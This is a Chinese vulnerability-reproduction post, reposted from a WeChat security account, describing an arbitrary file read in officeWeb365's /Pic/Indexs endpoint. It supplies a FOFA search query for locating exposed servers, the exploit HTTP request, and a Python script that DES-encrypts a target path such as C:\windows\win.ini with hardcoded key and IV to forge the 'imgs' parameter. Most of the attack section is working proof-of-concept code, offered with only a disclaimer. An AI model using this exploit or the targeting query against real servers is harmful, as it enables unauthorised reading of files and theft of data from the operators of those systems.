@[toc]
officeWeb365 Indexs接口存在任意文件读取漏洞 附POC软件
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
1. officeWeb365 简介
微信公众号搜索:南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发
officeWeb365服务的客户 提供office在线预览及PDF在线预览服务,支持Word文档在线预览、Excel在线预览、PowerPoint在线预览、WPS等Office文件在线预览,支持所有浏览器及移动设备Mobile预览,无需安装ActiveX控件,无需客户端部署即可实现办公文档在线预览。
2.漏洞描述
officeWeb365服务的客户 提供office在线预览及PDF在线预览服务,支持Word文档在线预览、Excel在线预览、PowerPoint在线预览、WPS等Office文件在线预览,支持所有浏览器及移动设备Mobile预览,无需安装ActiveX控件,无需客户端部署即可实现办公文档在线预览。
CVE编号:
CNNVD编号:
CNVD编号:
3.影响版本
officeWeb365
4.fofa查询语句
body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
5.漏洞复现
漏洞链接:https://127.0.0.1/Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09
漏洞数据包:
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: Keep-Alive
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
DNT: 1
from
Cryptodome.Cipher
import
DES
from
Cryptodome.Util.Padding
import
pad, unpad
import
base64
def
encrypt_des
(plaintext, key, iv)
:
cipher = DES.new(key, DES.MODE_CBC, iv)
padded_plaintext = pad(plaintext.encode(
'utf-8'
), DES.block_size)
ciphertext = cipher.encrypt(padded_plaintext)
return
base64.b64encode(ciphertext).decode(
'utf-8'
)
def
decrypt_des
(ciphertext, key, iv)
:
cipher = DES.new(key, DES.MODE_CBC, iv)
ciphertext = base64.b64decode(ciphertext)
decrypted = unpad(cipher.decrypt(ciphertext), DES.block_size).decode(
'utf-8'
)
return
decrypted
# 明文
plaintext =
"C:\windows\win.ini"
# 密钥和初始向量
Keys = bytes([
102
,
16
,
93
,
156
,
78
,
4
,
218
,
32
])
Iv = bytes([
55
,
103
,
246
,
79
,
36
,
99
,
167
,
3
])
# 加密
ciphertext = encrypt_des(plaintext, Keys, Iv)
print(
"加密后的密文:"
, ciphertext)
# 解密
decrypted_text = decrypt_des(ciphertext, Keys, Iv)
print(
"解密后的明文:"
, decrypted_text)
原文始发于微信公众号(南风漏洞复现文库):officeWeb365 Indexs接口存在任意文件读取漏洞 附POC软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论